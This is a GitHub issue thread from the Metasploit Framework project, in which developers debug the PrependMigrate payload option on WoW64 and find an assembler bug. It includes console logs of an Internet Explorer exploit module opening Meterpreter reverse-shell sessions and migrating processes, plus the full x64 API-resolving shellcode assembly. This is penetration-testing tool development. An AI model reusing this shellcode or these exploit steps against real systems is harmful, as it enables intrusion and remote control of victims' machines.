rapid7 / metasploit-framework

Metasploit Framework
https://www.metasploit.com/
Other
33.75k stars 13.89k forks source link

PrependMigrate is failing on WoW64 (possibly 32-bit as well) #4394

Closed hdm closed 9 years ago

hdm commented 9 years ago

The PrependMigrateProc application eventually fails with:

Faulting application name: rundll32.exe, version: 6.3.9600.16384, time stamp: 0x52158827
Faulting module name: KERNEL32.DLL, version: 6.3.9600.17056, time stamp: 0x532a2e6c
Exception code: 0xc00000fd
Fault offset: 0x00011942
Faulting process id: 0x93c
Faulting application start time: 0x01d0172cc8d13b3f
Faulting application path: C:\WINDOWS\SysWOW64\rundll32.exe
Faulting module path: C:\WINDOWS\SYSTEM32\KERNEL32.DLL
Report Id: 1c489ede-8320-11e4-beab-74d02bbb4b5a
Faulting package full name: 
Faulting package-relative application ID: 
wchen-r7 commented 9 years ago

32-bit might not be affected. This exploit uses PrependMigrate and works fine:

msf > use exploit/windows/browser/ie_setmousecapture_uaf 
msf exploit(ie_setmousecapture_uaf) > run
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.64:4444 
msf exploit(ie_setmousecapture_uaf) > [*] Using URL: http://0.0.0.0:8080/0Ro0i1RBZB
[*]  Local IP: http://192.168.1.64:8080/0Ro0i1RBZB
[*] Server started.
[*] 192.168.1.80     ie_setmousecapture_uaf - Gathering target information.
[*] 192.168.1.80     ie_setmousecapture_uaf - Sending response HTML.
[*] Sending stage (770048 bytes) to 192.168.1.80
[*] Meterpreter session 1 opened (192.168.1.64:4444 -> 192.168.1.80:2340) at 2014-12-16 10:58:32 -0600
[*] Session ID 1 (192.168.1.64:4444 -> 192.168.1.80:2340) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: rundll32.exe (616)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3348
[+] Successfully migrated to process 

msf exploit(ie_setmousecapture_uaf) > sessions -i 1
[*] Starting interaction with 1...

meterpreter >
hdm commented 9 years ago

Odd. That module has both PrependMigrate and InitialAutoRunScript set to "migrate -f". It should be migrating twice in the example above (first to rundll32 then to the default of migrate -f). EDIT: Yes, its definitely migrating into rundll32 then, sounds like a WOW64 bug then.

wchen-r7 commented 9 years ago

On x64 (windows/x64/meterpreter/reverse_tcp), I can't really get the listener going when PrependMigrate is set to true:

msf exploit(handler) > run

[-] Exploit failed: invalid opcode near "jecxz" at "\"<unk>\"" line 42
msf exploit(handler) >

Backtrace:

[12/16/2014 11:07:47] [e(0)] core: Exploit failed (multi/handler): invalid opcode near "jecxz" at "\"<unk>\"" line 42
[12/16/2014 11:07:47] [d(3)] core: Call stack:
/Users/wchen/rapid7/msf/lib/metasm/metasm/parse.rb:40:in `parse_instruction'
/Users/wchen/rapid7/msf/lib/metasm/metasm/parse.rb:330:in `parse'
/Users/wchen/rapid7/msf/lib/metasm/metasm/exe_format/shellcode.rb:69:in `assemble'
/Users/wchen/rapid7/msf/lib/metasm/metasm/exe_format/main.rb:94:in `assemble'
/Users/wchen/rapid7/msf/lib/msf/core/payload/windows/prepend_migrate.rb:413:in `prepend_migrate_64'
/Users/wchen/rapid7/msf/lib/msf/core/payload/windows/prepend_migrate.rb:49:in `prepends'
/Users/wchen/rapid7/msf/lib/msf/core/payload/windows.rb:43:in `generate'
/Users/wchen/rapid7/msf/lib/msf/core/encoded_payload.rb:93:in `generate_raw'
/Users/wchen/rapid7/msf/lib/msf/core/encoded_payload.rb:68:in `generate'
/Users/wchen/rapid7/msf/lib/msf/core/encoded_payload.rb:25:in `create'
/Users/wchen/rapid7/msf/lib/msf/core/exploit.rb:547:in `generate_single_payload'
/Users/wchen/rapid7/msf/lib/msf/core/exploit.rb:438:in `generate_payload'
/Users/wchen/rapid7/msf/lib/msf/core/exploit_driver.rb:159:in `run'
/Users/wchen/rapid7/msf/lib/msf/base/simple/exploit.rb:136:in `exploit_simple'
/Users/wchen/rapid7/msf/lib/msf/base/simple/exploit.rb:161:in `exploit_simple'
/Users/wchen/rapid7/msf/lib/msf/ui/console/command_dispatcher/exploit.rb:111:in `cmd_exploit'
/Users/wchen/rapid7/msf/lib/msf/ui/console/command_dispatcher/exploit.rb:193:in `cmd_rexploit'
/Users/wchen/rapid7/msf/lib/rex/ui/text/dispatcher_shell.rb:427:in `run_command'
/Users/wchen/rapid7/msf/lib/rex/ui/text/dispatcher_shell.rb:389:in `block in run_single'
/Users/wchen/rapid7/msf/lib/rex/ui/text/dispatcher_shell.rb:383:in `each'
/Users/wchen/rapid7/msf/lib/rex/ui/text/dispatcher_shell.rb:383:in `run_single'
/Users/wchen/rapid7/msf/lib/rex/ui/text/shell.rb:200:in `run'
/Users/wchen/rapid7/msf/lib/metasploit/framework/command/console.rb:30:in `start'
/Users/wchen/rapid7/msf/lib/metasploit/framework/command/base.rb:82:in `start'
./msfconsole:48:in `<main>'

Here's the actual asm being passsed to the assemble method:

    api_call:
      push r9                  ; Save the 4th parameter
      push r8                  ; Save the 3rd parameter
      push rdx                 ; Save the 2nd parameter
      push rcx                 ; Save the 1st parameter
      push rsi                 ; Save RSI
      xor rdx, rdx             ; Zero rdx
      mov rdx, [gs:rdx+96]     ; Get a pointer to the PEB
      mov rdx, [rdx+24]        ; Get PEB->Ldr
      mov rdx, [rdx+32]        ; Get the first module from the InMemoryOrder module list
    next_mod:                  ;
      mov rsi, [rdx+80]        ; Get pointer to modules name (unicode string)
      movzx rcx, word [rdx+74] ; Set rcx to the length we want to check
      xor r9, r9               ; Clear r9 which will store the hash of the module name
    loop_modname:              ;
      xor rax, rax             ; Clear rax
      lodsb                    ; Read in the next byte of the name
      cmp al, 'a'              ; Some versions of Windows use lower case module names
      jl not_lowercase         ;
      sub al, 0x20             ; If so normalise to uppercase
    not_lowercase:             ;
      ror r9d, 13              ; Rotate right our hash value
      add r9d, eax             ; Add the next byte of the name
      loop loop_modname        ; Loop untill we have read enough
      ; We now have the module hash computed
      push rdx                 ; Save the current position in the module list for later
      push r9                  ; Save the current module hash for later
      ; Proceed to itterate the export address table
      mov rdx, [rdx+32]        ; Get this modules base address
      mov eax, dword [rdx+60]  ; Get PE header
      add rax, rdx             ; Add the modules base address
      mov eax, dword [rax+136] ; Get export tables RVA
      test rax, rax            ; Test if no export address table is present
      jz get_next_mod1         ; If no EAT present, process the next module
      add rax, rdx             ; Add the modules base address
      push rax                 ; Save the current modules EAT
      mov ecx, dword [rax+24]  ; Get the number of function names
      mov r8d, dword [rax+32]  ; Get the rva of the function names
      add r8, rdx              ; Add the modules base address
      ; Computing the module hash + function hash
    get_next_func:             ;
      jecxz get_next_mod       ; When we reach the start of the EAT (we search backwards), process the next module
      dec rcx                  ; Decrement the function name counter
      mov esi, dword [r8+rcx*4]; Get rva of next module name
      add rsi, rdx             ; Add the modules base address
      xor r9, r9               ; Clear r9 which will store the hash of the function name
      ; And compare it to the one we want
    loop_funcname:             ;
      xor rax, rax             ; Clear rax
      lodsb                    ; Read in the next byte of the ASCII function name
      ror r9d, 13              ; Rotate right our hash value
      add r9d, eax             ; Add the next byte of the name
      cmp al, ah               ; Compare AL (the next byte from the name) to AH (null)
      jne loop_funcname        ; If we have not reached the null terminator, continue
      add r9, [rsp+8]          ; Add the current module hash to the function hash
      cmp r9d, r10d            ; Compare the hash to the one we are searchnig for
      jnz get_next_func        ; Go compute the next function hash if we have not found it
      ; If found, fix up stack, call the function and then value else compute the next one...
      pop rax                  ; Restore the current modules EAT
      mov r8d, dword [rax+36]  ; Get the ordinal table rva
      add r8, rdx              ; Add the modules base address
      mov cx, [r8+2*rcx]       ; Get the desired functions ordinal
      mov r8d, dword [rax+28]  ; Get the function addresses table rva
      add r8, rdx              ; Add the modules base address
      mov eax, dword [r8+4*rcx]; Get the desired functions RVA
      add rax, rdx             ; Add the modules base address to get the functions actual VA
      ; We now fix up the stack and perform the call to the drsired function...
    finish:
      pop r8                   ; Clear off the current modules hash
      pop r8                   ; Clear off the current position in the module list
      pop rsi                  ; Restore RSI
      pop rcx                  ; Restore the 1st parameter
      pop rdx                  ; Restore the 2nd parameter
      pop r8                   ; Restore the 3rd parameter
      pop r9                   ; Restore the 4th parameter
      pop r10                  ; pop off the return address
      sub rsp, 32              ; reserve space for the four register params (4 * sizeof(QWORD) = 32)
                               ; It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP).
      push r10                 ; push back the return address
      jmp rax                  ; Jump into the required function
      ; We now automagically return to the correct caller...
    get_next_mod:              ;
      pop rax                  ; Pop off the current (now the previous) modules EAT
    get_next_mod1:             ;
      pop r9                   ; Pop off the current (now the previous) modules hash
      pop rdx                  ; Restore our position in the module list
      mov rdx, [rdx]           ; Get the next module
      jmp next_mod             ; Process this module

Line 42 is this:

jecxz get_next_mod       ; When we reach the start of the EAT (we search backwards), process the next module
wchen-r7 commented 9 years ago

^ Looks like @jlee-r7's code ?

hdm commented 9 years ago

I was testing using a msfpayload-generated win32 exe with PrependMigrate set to true and run on a 64-bit system.

hdm commented 9 years ago

It looks like the 64-bit version of the block_api code is buggy (but this ticket was about the 32-bit code running on a 64-bit system).

wchen-r7 commented 9 years ago

Oh ok, so I guess I hit a different issue.

I will test the 32-bit code against 64-bit system setup.

jlee-r7 commented 9 years ago

Bug in metasm. =(

https://github.com/jjyg/metasm/commit/a0c68a3d0ac95262370a8f2a0cb11a2a50b2f279

wchen-r7 commented 9 years ago

oh, good find.

wchen-r7 commented 9 years ago

@hmoore-r7 Hmmm I am actually not reproducing the issue you're having:

msf exploit(handler) > set PrependMigrate true
PrependMigrate => true
msf exploit(handler) > run

[*] Started reverse handler on 192.168.1.64:4444 
[*] Starting the payload handler...
[*] Sending stage (770048 bytes) to 192.168.1.134
[*] Meterpreter session 2 opened (192.168.1.64:4444 -> 192.168.1.134:50326) at 2014-12-16 13:07:52 -0600

meterpreter > sysinfo
Computer        : SINN3R-PC
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64 (Current Process is WOW64)
System Language : en_US
Meterpreter     : x86/win32
meterpreter > 

Not sure what I missed.

hdm commented 9 years ago

Thanks for looking into it, let me try this again. Could be EMET or something else breaking it here.

wchen-r7 commented 9 years ago

Ok, no problem.

I'll file the metasm bug as a separate too before I forget about it.

Edit: The metasm bug is now at https://github.com/rapid7/metasploit-framework/issues/4405

jvazquez-r7 commented 9 years ago

@hmoore-r7 feel free to reopen if you are able to reproduce it!